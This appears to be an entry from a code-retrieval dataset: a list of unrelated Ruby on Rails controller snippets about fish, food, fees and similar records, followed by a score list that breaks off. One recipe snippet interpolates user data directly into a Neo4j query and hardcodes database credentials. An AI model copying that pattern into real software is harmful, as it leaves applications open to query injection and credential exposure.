"def feelings_day(feelings, day)\n # require 'googleauth'\n # # Get the environment configured authorization\n # scopes = ['https://www.googleapis.com/auth/cloud-platform',\n # 'https://www.googleapis.com/auth/compute']\n # authorization = Google::Auth.get_application_default(scopes)\n #\n # # Add the the access token obtained using the authorization to a hash, e.g\n # # headers.\n # some_headers = {}\n # authorization.apply(some_headers)\n #\n # require \"google/cloud/language\"\n # language = Google::Cloud::Language.new\n # content = feelings\n # document = language.document content\n # annotation = document.annotate\n\n # if annotation.sentiment.score < -(0.4)\n # audio_features.valence < convert_google_sentiment_to_spotify_valence(-0.4)\n # elsif (annotation.sentiment.score < 0 && annotation.sentiment.score > -(0.4))\n # p \"sad\"\n # elsif (annotation.sentiment.score < 0.5 && annotation.sentiment.score > 0)\n # p \"Sort of happu\"\n # elsif (annotation.sentiment.score > 0.5 && annotation.sentiment.score <= 1)\n # p \"HAppy \"\n # else\n # p \"ooppss\"\n # end\n\n # return (audio_features.valence < convert_google_sentiment_to_spotify_valence(annotation.sentiment.score) + 0.5) && (audio_features.valence > convert_google_sentiment_to_spotify_valence(annotation.sentiment.score) - 0.5)\n\n end",
"def create\n @fishing_method = FishingMethod.new(params[:fishing_method])\n\n respond_to do |format|\n if @fishing_method.save\n format.html { redirect_to @fishing_method, notice: 'Fishing method was successfully created.' }\n format.json { render json: @fishing_method, status: :created, location: @fishing_method }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fishing_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # Rails.logger.warn \"====================\"\n # Rails.logger.warn foaf_params[:interests_attributes]\n # Rails.logger.warn \"====================\"\n\n \n @foaf = Foaf.new(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n end\n end\n\n respond_to do |format|\n if @foaf.save \n format.html { redirect_to @foaf, notice: 'Foaf was successfully created.' }\n format.json { render action: 'show', status: :created, location: @foaf }\n else\n format.html { render action: 'new' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @face_off = FaceOff.new(face_off_params)\n\n respond_to do |format|\n if @face_off.save\n format.json { render json: @face_off, status: :created }\n else\n format.json { render json: @face_off.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fooddiary = @food.fooddiaries.new(fooddiary_params)\n @fooddiary.user_id = current_user.id\n @fooddiary.name = @food.name\n @fooddiary.eiweiß = @food.eiweiß\n @fooddiary.fett = @food.fett\n @fooddiary.kohlenhydrate = @food.kohlenhydrate\n @fooddiary.kalorien = @food.kalorien\n respond_to do |format|\n if @fooddiary.save\n format.html { redirect_to foods_path }\n format.json { render :show, status: :created, location: @fooddiary }\n else\n format.html { render :new }\n format.json { render json: @fooddiary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_feeling_card\n @feeling_card = FeelingCard.find(params[:id])\n end",
"def create\n @training_fund = TrainingFund.new(training_fund_params)\n\n respond_to do |format|\n if @training_fund.save\n format.html { redirect_to @training_fund.training, notice: 'Training fund was successfully added.' }\n format.json { render :show, status: :created, location: @training_fund }\n else\n format.html { render :new }\n format.json { render json: @training_fund.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @favourite_food = FavouriteFood.new(params[:favourite_food])\n\n respond_to do |format|\n if @favourite_food.save\n format.html { redirect_to @favourite_food, notice: 'Favourite food was successfully created.' }\n format.json { render json: @favourite_food, status: :created, location: @favourite_food }\n else\n format.html { render action: \"new\" }\n format.json { render json: @favourite_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @favorite_flyer = FavoriteFlyer.new(params[:favorite_flyer])\n\n respond_to do |format|\n if @favorite_flyer.save\n format.html { redirect_to @favorite_flyer, notice: 'Favorite flyer was successfully created.' }\n format.json { render json: @favorite_flyer, status: :created, location: @favorite_flyer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @favorite_flyer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @funkce = Funkce.new(funkce_params)\n\n respond_to do |format|\n if @funkce.save\n format.html { redirect_to @funkce, notice: 'Funkce was successfully created.' }\n format.json { render action: 'show', status: :created, location: @funkce }\n else\n format.html { render action: 'new' }\n format.json { render json: @funkce.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @featuring.update(featuring_params)\n format.html { redirect_to @featuring, notice: 'Featuring was successfully updated.' }\n format.json { render :show, status: :ok, location: @featuring }\n else\n format.html { render :edit }\n format.json { render json: @featuring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jump_female = JumpFemale.new(jump_female_params)\n\n respond_to do |format|\n if @jump_female.save\n format.html { redirect_to action:index, notice: 'Jump female was successfully created.' }\n format.json { render :show, status: :created, location: @jump_female }\n else\n format.html { render :new }\n format.json { render json: @jump_female.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @freelancer_knowledge = FreelancerKnowledge.new(freelancer_knowledge_params)\n\n respond_to do |format|\n if @freelancer_knowledge.save\n format.html { redirect_to @freelancer_knowledge, notice: 'Freelancer knowledge was successfully created.' }\n format.json { render :show, status: :created, location: @freelancer_knowledge }\n else\n format.html { render :new }\n format.json { render json: @freelancer_knowledge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @weakness = Weakness.new(weakness_params)\n @plano = current_user.plano\n @weaknesses = @plano.weaknesses\n respond_to do |format|\n if @weakness.save\n format.html { redirect_to @weakness, notice: 'Fraqueza criada com sucesso.' }\n format.json { render :show, status: :created, location: @weakness }\n format.js\n else\n format.html { render :new }\n format.json { render json: @weakness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @recipe = Recipe.new(recipe_params)\n @recipe.recipe_creator_id = current_user.id\n @recipe.allergies = get_allergies_from_params\n @recipe.ingredients = get_selected_ingredients\n\n #Shows an example on how to automatically check whether a recipe is suitable for a person with an intolerance\n laktoseintoleranz = Allergy.where(name: 'Laktoseintoleranz').first\n unless @recipe.allergies.include?(laktoseintoleranz)\n neo = Neography::Rest.new({:username => \"user\", :password => \"user\"})\n includes_laktose_ingredient = false\n\n @recipe.ingredients.each do |ingredient|\n node = neo.execute_query(\"MATCH (n)-[]->(i) WHERE n.name = 'Laktoseintoleranz' AND i.name = '#{ingredient.name}' RETURN i\")\n if node[\"data\"].present?\n includes_laktose_ingredient = true\n end\n end\n unless includes_laktose_ingredient\n @recipe.allergies << laktoseintoleranz\n end\n end\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @combination_item_fee = @combination_fee.combination_item_fees.new(combination_item_fee_params)\n\n respond_to do |format|\n if @combination_item_fee.save\n format.html { redirect_to @combination_fee, notice: 'Combination item fee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @combination_fee }\n else\n format.html { render action: 'new' }\n format.json { render json: @combination_item_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @frete = Frete.new(params[:frete])\n\n respond_to do |format|\n if @frete.save\n format.html { redirect_to @frete, notice: 'Frete was successfully created.' }\n format.json { render json: @frete, status: :created, location: @frete }\n else\n format.html { render action: \"new\" }\n format.json { render json: @frete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def create\n @meal_recipe = MealRecipe.new(meal_recipe_params)\n \n @meal_plan = @meal_recipe.meal.day.meal_plan\n @meal = @meal_recipe.meal\n # @day = @meal.day\n @meal_ingredient = MealIngredient.new\n # @leftover = Leftover.user(current_user).includes(:meal_recipe)\n \n if @meal_recipe.recipe.present?\n @meal_recipe.portions = @meal_recipe.recipe.portions\n end\n\n respond_to do |format|\n \n if @meal_recipe.recipe.present? && @meal_recipe.save\n create_meal_ingredients_for_recipe(@meal_recipe)\n format.turbo_stream\n format.html { redirect_to @meal_plan, notice: \"Meal recipe was successfully created.\" }\n format.json { render :show, status: :created, location: @meal_recipe }\n else\n format.html { redirect_to @meal_plan, notice: \"Meal recipe not added, please select recipe from list\" }\n format.json { render :show, status: :created, location: @meal_recipe }\n end\n end\n end",
"def create\n @fantasy_draft_style = FantasyDraftStyle.new(fantasy_draft_style_params)\n\n respond_to do |format|\n if @fantasy_draft_style.save\n format.html { redirect_to @fantasy_draft_style, notice: 'Fantasy draft style was successfully created.' }\n format.json { render :show, status: :created, location: @fantasy_draft_style }\n else\n format.html { render :new }\n format.json { render json: @fantasy_draft_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fbt = Fbt.new(fbt_params)\n\n respond_to do |format|\n if @fbt.save\n format.html { redirect_to @fbt, notice: \"Fbt was successfully created.\" }\n format.json { render :show, status: :created, location: @fbt }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @fbt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:fee][:amount].gsub!(/[$,]/, '')\n params[:fee][:amount] = (params[:fee][:amount].to_f * 100).to_i\n\n @fee = Fee.new(fee_params)\n @fee.booth = Booth.find(params[:booth_id])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to @fee.booth, notice: 'Fee was successfully created.' }\n format.json { render :show, status: :created, location: @fee }\n else\n format.html { render :new }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @fortune = Fortune.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fortune }\n end\n end",
"def eaten_params\n params.require(:eaten).permit(:food_id, :portion_factor, :date)\n end",
"def create\n @eaten = Eaten.new(eaten_params)\n\n respond_to do |format|\n if @eaten.save\n format.html { redirect_to @eaten, notice: 'Eaten was successfully created.' }\n format.json { render :show, status: :created, location: @eaten }\n else\n format.html { render :new }\n format.json { render json: @eaten.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_fees\n @proposal.fees.each do |bank_account, amounts_by_category|\n amounts_by_category.each do |category, amount|\n category_for_key = category&.downcase&.gsub(' ', '_') || 'none'\n run_task \"add_fees_#{bank_account}_#{category_for_key}\" do\n if transaction = add_fee_transaction(bank_account, amount, category)\n current_state[:transaction_id] = transaction['BankTransactionID']\n end\n end\n end\n end\n end",
"def create\n @chef_att_deb = ChefAttDeb.new(chef_att_deb_params)\n\n respond_to do |format|\n if @chef_att_deb.save\n format.html { redirect_to @chef_att_deb, notice: 'Chef att deb was successfully created.' }\n format.json { render :show, status: :created, location: @chef_att_deb }\n else\n format.html { render :new }\n format.json { render json: @chef_att_deb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fund = Fund.new(fund_params)\n\n if @fund.save\n render json: @fund, status: :created, location: @fund\n else\n render json: @fund.errors, status: :unprocessable_entity\n end\n end",
"def create\n @featured_duffel = FeaturedDuffel.new(params[:featured_duffel])\n \n cities = City.find_id_by_city_country(params[:featured_duffel][:city_country])\n trip = Trip.find_by_permalink(params[:permalink])\n user = User.find_by_username(params[:username])\n \n @featured_duffel.city_id = cities[0].id\n @featured_duffel.user_id = user.id\n @featured_duffel.trip_id = trip.id\n\n respond_to do |format|\n if @featured_duffel.save\n flash[:notice] = 'Featured Duffel was successfully created. Email sent.'\n \n # Send email notification\n Postoffice.deliver_featured_on_all_stars(:user => user, :trip => trip)\n \n format.html { redirect_to(@featured_duffel) }\n format.xml { render :xml => @featured_duffel, :status => :created, :location => @featured_duffel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @featured_duffel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @membership_fee = MembershipFee.new(params[:membership_fee])\n\n respond_to do |format|\n if @membership_fee.save\n format.html { redirect_to @membership_fee, notice: 'Membership fee was successfully created.' }\n format.json { render json: @membership_fee, status: :created, location: @membership_fee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @membership_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @asking = Asking.new(asking_params)\n\n respond_to do |format|\n if @asking.save\n format.html { redirect_to @asking, notice: \"Asking was successfully created.\" }\n format.json { render :show, status: :created, location: @asking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @asking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @foodhamper = Foodhamper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foodhamper }\n end\n end",
"def bee_fact_params\n params.require(:bee_fact).permit(:fact)\n end",
"def heart_params\n params.require(:heart).permit(:feeling, :date, :mind_id)\n end",
"def create\n @black_friday = BlackFriday.new(black_friday_params)\n\n respond_to do |format|\n if @black_friday.save\n format.html { redirect_to @black_friday, notice: 'Black friday was successfully created.' }\n format.json { render :show, status: :created, location: @black_friday }\n else\n format.html { render :new }\n format.json { render json: @black_friday.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process_post\n service.sign_up_fisherman(\n JSON.parse(request.body.to_s).symbolize_keys\n ).on(\n fishing_application_succeeded: ->(result) {\n response.headers['Content-Type'] = \"application/json\"\n response.body = result.to_json\n true\n },\n fishing_application_conflicts: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 409\n },\n fishing_application_invalid: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 422\n }\n )\n end",
"def create\n @falta = Falta.new(falta_params)\n\n respond_to do |format|\n if @falta.save\n format.html { redirect_to @falta, notice: \"Falta was successfully created.\" }\n format.json { render :show, status: :created, location: @falta }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @falta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @deed = Deed.create(deed_params)\n\n if @deed.save\n render json: @deed, status: :created, location: @deed\n else\n render json: @deed.errors, status: :unprocessable_entity\n end\n end",
"def foaf_params\n params.require(:foaf).permit(:name, :work, :slug, :birthday, :interests_attributes)\n end",
"def foaf_params\n params.require(:foaf).permit(:name, :work, :slug, :birthday, :interests_attributes)\n end",
"def create\n @etf = Etf.new(etf_params)\n @etf.user = current_user\n\n respond_to do |format|\n if @etf.save\n format.html { redirect_to @etf, notice: \"Etf was successfully created.\" }\n format.json { render :show, status: :created, location: @etf }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @etf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @favorite_recipe = FavoriteRecipe.new(favorite_recipe_params)\n\n respond_to do |format|\n if @favorite_recipe.save\n format.html { redirect_to @favorite_recipe, notice: 'Favorite recipe was successfully created.' }\n format.json { render :show, status: :created, location: @favorite_recipe }\n else\n format.html { render :new }\n format.json { render json: @favorite_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feeling_card.update(feeling_card_params)\n format.html { redirect_to @feeling_card, notice: 'Feeling card was successfully updated.' }\n format.json { render :show, status: :ok, location: @feeling_card }\n else\n format.html { render :edit }\n format.json { render json: @feeling_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @infection = Infection.new(infection_params)\n\n respond_to do |format|\n if @infection.save\n format.html { redirect_to @infection, notice: 'Infection was successfully created.' }\n format.json { render :show, status: :created, location: @infection }\n else\n format.html { render :new }\n format.json { render json: @infection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @auction_foregift = AuctionForegift.new(auction_foregift_params)\n\n respond_to do |format|\n if @auction_foregift.save\n format.html { redirect_to @auction_foregift, notice: 'Auction foregift was successfully created.' }\n format.json { render :show, status: :created, location: @auction_foregift }\n else\n format.html { render :new }\n format.json { render json: @auction_foregift.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end",
"def create\n @kf_diary = Kf::Diary.new(params[:kf_diary])\n\n respond_to do |format|\n if @kf_diary.save\n format.html { redirect_to kf_diaries_url({:page => params[:page]}), notice: 'Diary was successfully created.' }\n format.json { render json: @kf_diary, status: :created, location: @kf_diary }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kf_diary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @food_recipe = FoodRecipe.new(params[:food_recipe])\n\n respond_to do |format|\n if @food_recipe.save\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully created.' }\n format.json { render json: @food_recipe, status: :created, location: @food_recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @edesalfact = Edesalfact.new(edesalfact_params)\n\n respond_to do |format|\n if @edesalfact.save\n format.html { redirect_to @edesalfact, notice: 'Edesalfact was successfully created.' }\n format.json { render :show, status: :created, location: @edesalfact }\n else\n format.html { render :new }\n format.json { render json: @edesalfact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @star_fact = Star::Fact.new(params[:star_fact])\n\n respond_to do |format|\n if @star_fact.save\n format.html { redirect_to @star_fact, notice: 'Fact was successfully created.' }\n format.json { render json: @star_fact, status: :created, location: @star_fact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @star_fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: \"Fish was successfully created.\" }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @eating = Eating.new(eating_params)\n\n respond_to do |format|\n if @eating.save\n format.html { redirect_to @eating, notice: 'Eating was successfully created.' }\n format.json { render :show, status: :created, location: @eating }\n else\n format.html { render :new }\n format.json { render json: @eating.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @eat = Eat.new(eat_params)\n\n respond_to do |format|\n if @eat.save\n format.html { redirect_to @eat, notice: 'Eat was successfully created.' }\n format.json { render :show, status: :created, location: @eat }\n else\n format.html { render :new }\n format.json { render json: @eat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @donee = Donee.new(donee_params)\n\n respond_to do |format|\n if @donee.save\n format.html { redirect_to @donee, notice: 'Donee was successfully created.' }\n format.json { render :show, status: :created, location: @donee }\n else\n format.html { render :new }\n format.json { render json: @donee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n errors ||= Array.new\r\n if params[:feeling_id].blank?&&Feelings.isExists(params[:feeling_id].to_i)\r\n errors.push(I18n.t(\"errors.messages.element_not_id\"))\r\n end\r\n if params[:item_id].blank? &&ContentItem.isExists(params[:item_id].to_i)\r\n errors.push(I18n.t(\"errors.messages.element_not_id\"))\r\n end\r\n if params[:content].blank?\r\n params[:content] = ''\r\n end\r\n if params[:ue_id].blank? &&UsersExprience.isExists(params[:ue_id].to_i)\r\n params[:ue_id] = nil\r\n end\r\n if errors.length == 0 \r\n Posts.create({user_id: params[:user].id ,asset_id:0, feeling_id:params[:feeling_id].to_i, content_item_id:params[:item_id].to_i,content:params[:content], userExprience_id:params[:ue_id].to_i})\r\n ContentItem.markAsFeelike(params[:user].id,params[:feeling_id].to_i,params[:ue_id],params[:item_id].to_i,0)\r\n self.default_response\r\n else\r\n render :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['formInputError'],I18n.t(\"errors.messages.feelike.input_error\"), errors).to_json\r\n end\r\n end",
"def create\n @food = Food.new(food_params)\n respond_to do |format|\n if @food.save\n format.html { redirect_to @food, notice: 'Food was successfully created.' }\n format.json { render :show, status: :created, location: @food }\n else\n format.html { render :new }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gotcha = Gotcha.new(params[:gotcha])\n\n respond_to do |format|\n if @gotcha.save\n format.html { redirect_to gotchas_url, notice: 'Gotcha was successfully created.' }\n format.json { render json: @gotcha, status: :created, location: @gotcha }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@klass_fee = KlassFee.new(params[:klass_fee])\n ap params[:fee]\n begin\n params[:fee].each do |fee_type_id, amount|\n puts \"=======xx==========\"\n ap KlassFee.create({klass_id: @klass.id, fee_type_id: fee_type_id, amount: amount[:amount]})\n end\n \n redirect_to klass_klass_fees_path(@klass), notice: 'Klass fee was successfully created.'\n #rescue Exception => e\n # render action: \"new\" \n end\n end",
"def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: 'Fish was successfully created.' }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: 'Fish was successfully created.' }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipes_food = RecipesFood.new(recipes_food_params)\n\n respond_to do |format|\n if @recipes_food.save\n format.html { redirect_to @recipes_food, notice: 'Recipes food was successfully created.' }\n format.json { render :show, status: :created, location: @recipes_food }\n else\n format.html { render :new }\n format.json { render json: @recipes_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addFees(filename)\n\tresponseText = open(Rails.root.join(\"db\", \"seed_data\", filename)).read\n\tresponseText.each_line do |curRow|\n\t\tcurRow = curRow.strip.downcase # get rid of new lines and make everything lowercase\n\n\t\t# split the excel sheet into individual variables using split\n\t\t# Note that each fee is itself a list of fees separated by commas.\n\t\tstate, city, airportName, airportCode, fboName, phoneNumbers, hasFees, classificationDesc, otherClassification, landingFee, rampFee, tieDownFee, facilityFee, callOutFee, hangarFee, otherFee, changeFrequency, feesWaived, fuelNeeded, contactPerson, callDate, infoQuality, hasFeeSheet, feeSheetLink, additionalInfo = curRow.split(\"\\t\")\n\t\t# If the FBO didn't or wouldn't answer, then we have no data for them and we should skip forward\n\t\tnext if hasFees == \"did not/would not answer\"\n\n\t\t#feeClassification = Classification.find_by( :classification_description => classificationDesc )\n\n\t\tcurAirport = Airport.find_by( :name => airportName)\n\t\tif curAirport.nil?\n\t\t\tcurAirport = Airport.find_by( :airport_code => airportCode )\n\t\t\t# If the airport wasn't found, try adding a k to the front of the airport code and try again\n\t\t\tif curAirport.nil? and airportCode.length == 3\n\t\t\t\tnewCode = \"k\" + airportCode\n\t\t\t\tcurAirport = Airport.find_by( :airport_code => newCode )\n\t\t\telsif curAirport.nil? and airportCode.length == 4\n\t\t\t# If the airport wasn't found, try removing the k from the front and trying again\n\t\t\t\tnewCode = airportCode[1..3]\n\t\t\t\tcurAirport = Airport.find_by( :airport_code => newCode )\n\t\t\tend\n\t\tend\n\n# I guess hypothetically this wouldn't work if there were two FBOs at an airport with the same name, but I don't think that has ever happened yet.\n\t\tcurFbo = Fbo.find_by(:name => fboName, :airport => curAirport)\n\n\t\tif !curFbo.nil?\n\t\t\t# this is what should happen\n\t\t\tif !hasFees.nil? and hasFees.strip == \"no\"\n\t\t\t\t#curFbo.update( :classification => Classification.find_by( :classification_description => \"flat rate\"))\n\t\t\t\tFeeType.find_each do |curFeeType|\n\t\t\t\t\tif curFeeType.fee_type_description == \"call out\"\n\t\t\t\t\t\tsingleFeeHelper(callOutFee, curFbo, curFeeType.fee_type_description, \"flat rate\")\n\t\t\t\t\telsif curFeeType.fee_type_description == \"hangar\"\n\t\t\t\t\t\t# do nothing\n\t\t\t\t\telse\n\t\t\t\t\t\tsingleFeeHelper(\"0\", curFbo, curFeeType.fee_type_description, \"flat rate\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t#elsif feeClassification.nil?\n\t\t\t\t#puts curFbo.name\n\t\t\t\t# do nothing\n\n\t\t\t# If the FBO has fees, so most of the time.\n\t\t\telse\n\t\t\t\t#curFbo.update( :classification => feeClassification )\n\t\t\t\t\n\t\t\t\t# For each type of fee, if it isn't nil, the split it up into its individual fees, then call the fee helper method on those fees.\n\t\t\t\t# landing fees\n\t\t\t\tif !landingFee.nil?\n\t\t\t\t\tlandingFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"landing\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# ramp fees\n\t\t\t\tif !rampFee.nil?\n\t\t\t\t\trampFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"ramp\", classificationDesc)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\n\t\t\t\t# tie down fees\n\t\t\t\tif !tieDownFee.nil?\n\t\t\t\t\ttieDownFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"tie down\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# facility fees\n\t\t\t\tif !facilityFee.nil?\n\t\t\t\t\tfacilityFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"facility\", classificationDesc)\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\n\t\t\t\t# call out fees\n\t\t\t\tif !callOutFee.nil?\n\t\t\t\t\tcallOutFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"call out\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t#puts fboName\n\t\tend\n\tend\nend",
"def create\n @framing_saw = FramingSaw.new(framing_saw_params)\n\n respond_to do |format|\n if @framing_saw.save\n format.html { redirect_to @framing_saw, notice: 'Framing saw was successfully created.' }\n format.json { render action: 'show', status: :created, location: @framing_saw }\n else\n format.html { render action: 'new' }\n format.json { render json: @framing_saw.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"def new\n #@feat = Feat.new\n @feat = @character.feats.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def create\n\n friendee = User.where(email: params[:search][:email]).first\n if friendee && Friending.where(friendee_id: current_user.id, friender_id: friendee.id).empty? && Friending.where(friendee_id: friendee.id , friender_id: current_user.id).empty?\n @friending = Friending.new()\n @friending.friender_id = current_user.id\n @friending.friendee_id = friendee.id\n\n if @friending.save\n render \"api/friendings/show\"\n else\n render json: @friending.errors.full_messages, status: 401\n end\n\n else\n render json: [\"Email address is not registered with EqualSlices.\"],\n status: 401\n end\n end",
"def create\n @cooked_meal = CookedMeal.new(cooked_meal_params)\n\n respond_to do |format|\n if @cooked_meal.save\n format.html { redirect_to @cooked_meal, notice: 'Cooked meal was successfully created.' }\n format.json { render :show, status: :created, location: @cooked_meal }\n else\n format.html { render :new }\n format.json { render json: @cooked_meal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fat = Fat.new(fat_params)\n\n respond_to do |format|\n if @fat.save\n format.html { redirect_to @fat, notice: 'Fat was successfully created.' }\n format.json { render :show, status: :created, location: @fat }\n else\n format.html { render :new }\n format.json { render json: @fat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inchef_recommendation = InchefRecommendation.new(inchef_recommendation_params)\n\n respond_to do |format|\n if @inchef_recommendation.save\n format.html { redirect_to @inchef_recommendation, notice: 'Inchef recommendation was successfully created.' }\n format.json { render :show, status: :created, location: @inchef_recommendation }\n else\n format.html { render :new }\n format.json { render json: @inchef_recommendation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @frais_hebergement = FraisHebergement.new(params[:frais_hebergement])\n\n respond_to do |format|\n if @frais_hebergement.save\n format.html { redirect_to @frais_hebergement, :notice => 'Le frais d\\'hébergement a bien été créé' }\n format.json { render :json => @frais_hebergement, :status => :created, :location => @frais_hebergement }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @frais_hebergement.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @suggested_business = SuggestedBusiness.new(suggested_business_params)\n\n respond_to do |format|\n if @suggested_business.save\n format.html { redirect_to root_path, notice: 'The Busienss entry has succesfully been sent.' }\n else\n format.html { render :new }\n format.json { render json: @suggested_business.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @despatch = Despatch.new(despatch_params)\n\n respond_to do |format|\n if @despatch.save\n format.html { redirect_to @despatch, notice: 'Despatch was successfully created.' }\n format.json { render :show, status: :created, location: @despatch }\n else\n format.html { render :new }\n format.json { render json: @despatch.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.67593867",
"0.6597652",
"0.62334234",
"0.6068047",
"0.59607345",
"0.59429276",
"0.59033436",
"0.5790278",
"0.5701767",
"0.5436488",
"0.54179907",
"0.5405718",
"0.54017603",
"0.5370631",
"0.5346274",
"0.53166443",
"0.5291314",
"0.52852315",
"0.5277501",
"0.52619827",
"0.52605546",
"0.52550185",
"0.52545196",
"0.5238002",
"0.5223687",
"0.52207124",
"0.5218044",
"0.5215993",
"0.5215723",
"0.5210772",
"0.5179883",
"0.51704496",
"0.5146947",
"0.5138179",
"0.5120664",
"0.5118691",
"0.51120013",
"0.5107258",
"0.5104232",
"0.5094303",
